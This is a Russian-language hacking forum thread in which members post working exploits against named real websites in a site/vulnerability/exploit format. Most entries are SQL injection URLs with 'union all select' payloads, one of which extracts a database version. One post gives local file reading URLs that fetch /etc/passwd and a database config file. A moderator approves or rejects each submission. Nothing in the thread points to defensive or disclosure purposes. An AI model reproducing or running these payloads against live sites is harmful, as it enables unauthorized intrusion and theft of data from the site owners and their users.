 |
|
15.06.2015, 13:36
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами:
5797046
Репутация:
40
|
|
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.immobilien-niederzier.com/view_detail.php?siteid=999999.9%20union%20all%20select%201,2,3,version()[/COLOR][/COLOR]
Автор, скажите пожалуйста версию, и где вывод |
|
|
15.06.2015, 13:54
|
|
Новичок
Регистрация: 15.06.2015
Сообщений: 4
С нами:
5743766
Репутация:
0
|
|
|
|
|
|
15.06.2015, 14:11
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
С нами:
8469890
Репутация:
0
|
|
Сообщение от BabaDook
↑
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.immobilien-niederzier.com/view_detail.php?siteid=999999.9%20union%20all%20select%201,2,3,version()[/COLOR][/COLOR]
Автор, скажите пожалуйста версию, и где вывод
Вывод в исходном коде.
Код:
http://www.immobilien-niederzier.com/view_detail.php?siteid=999999.9%20union%20all%20select%20111111111111111,22222222222,333333333333,44444444444
Нажимаем ctrl+f и ищем 4444444
Нашли на 473 строке
Код:
http://www.immobilien-niederzier.com/view_detail.php?siteid=999999.9%20union%20all%20select%20111111111111111,22222222222,333333333333,version()
выдает нам на 473 строке
Код:
var image2 = new Image();image2.src = 'http://www.immospaze.de/images/5.1.73-community';
|
|
|
|
15.06.2015, 15:02
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами:
5797046
Репутация:
40
|
|
Сообщение от kingbeef
↑
Вывод в исходном коде.
Код:
http://www.immobilien-niederzier.com/view_detail.php?siteid=999999.9%20union%20all%20select%20111111111111111,22222222222,333333333333,44444444444
Нажимаем ctrl+f и ищем 4444444
Нашли на 473 строке
Код:
http://www.immobilien-niederzier.com/view_detail.php?siteid=999999.9%20union%20all%20select%20111111111111111,22222222222,333333333333,version()
выдает нам на 473 строке
Код:
var image2 = new Image();image2.src = 'http://www.immospaze.de/images/5.1.73-community';
Вы же не автор. вывод подключаемой картинке срц=вывод . Мне просто иногда кажется что...
|
|
|
|
15.06.2015, 17:03
|
|
Новичок
Регистрация: 15.06.2015
Сообщений: 4
С нами:
5743766
Репутация:
0
|
|
Сайт: http://www.cqtailian.com/
Уязвимость:SQLi
Эксплойт:
Код:
http://www.cqtailian.com/Content.php?categoryid=999999.9%20union%20all%20select%20999,2,3,4,5
|
|
|
|
15.06.2015, 17:17
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от Neon2211
↑
Сайт:
http://www.cqtailian.com/
Уязвимость:SQLi
Эксплойт:
Код:
http://www.cqtailian.com/Content.php?categoryid=999999.9%20union%20all%20select%20999,2,3,4,5
а вот тут вывода нет.
|
|
|
|
16.06.2015, 19:40
|
|
Новичок
Регистрация: 09.06.2015
Сообщений: 24
С нами:
5752406
Репутация:
2
|
|
|
|
|
|
17.06.2015, 21:58
|
|
Новичок
Регистрация: 17.06.2015
Сообщений: 1
С нами:
5740886
Репутация:
0
|
|
Сайт: http:www.brzozo.com
Уязвимость:Local File Reading
Эксплойт:
Код:
http://www.brzozo.com/force-download.php?file=/etc/passwd
http://www.brzozo.com/force-download.php?file=db.php
http://www.brzozo.com/popup.php
http://www.brzozo.com/popup.php?id=1
Так принимается? |
|
|
|
17.06.2015, 22:26
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от artificer
↑
Сайт:
http:
www.brzozo.com
Уязвимость:Local File Reading
Эксплойт:
Код:
http://www.brzozo.com/force-download.php?file=/etc/passwd
http://www.brzozo.com/force-download.php?file=db.php
http://www.brzozo.com/popup.php
http://www.brzozo.com/popup.php?id=1
Так принимается?
принимается, однако в гугле уже эта уязвимость есть, а касаемо повторов есть правило
|
|
|
|
18.06.2015, 00:27
|
|
Новичок
Регистрация: 15.06.2015
Сообщений: 4
С нами:
5743766
Репутация:
0
|
|
Сайт: www.stateofemergencyltd.com
Уязвимость:SQLi
Эксплойт:
Код:
http://www.stateofemergencyltd.com/news.php?id=999999.9 union all select 1,[t],3,4,5,6,7
Сайт: www.upani.com
Уязвимость:SQLi
Эксплойт:
Код:
http://www.upani.com/productinfo.php?pid=85' and [t] and '1'='1&cid=5&psid=rajpur-collection-invitation-box
Cайт: www.corpsport.com
Уязвимость:SQLi
Эксплойт:
Код:
http://www.corpsport.com/productDetails.php?id=999999.9 union all select 1,[t],3,4,5
Cайт: www.immobilien-niederzier.com
Уязвимость:SQLi
Эксплойт:
Код:
http://www.immobilien-niederzier.com/view_detail.php?siteid=999999.9%20union%20all%20select%201,2,3,[t]
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
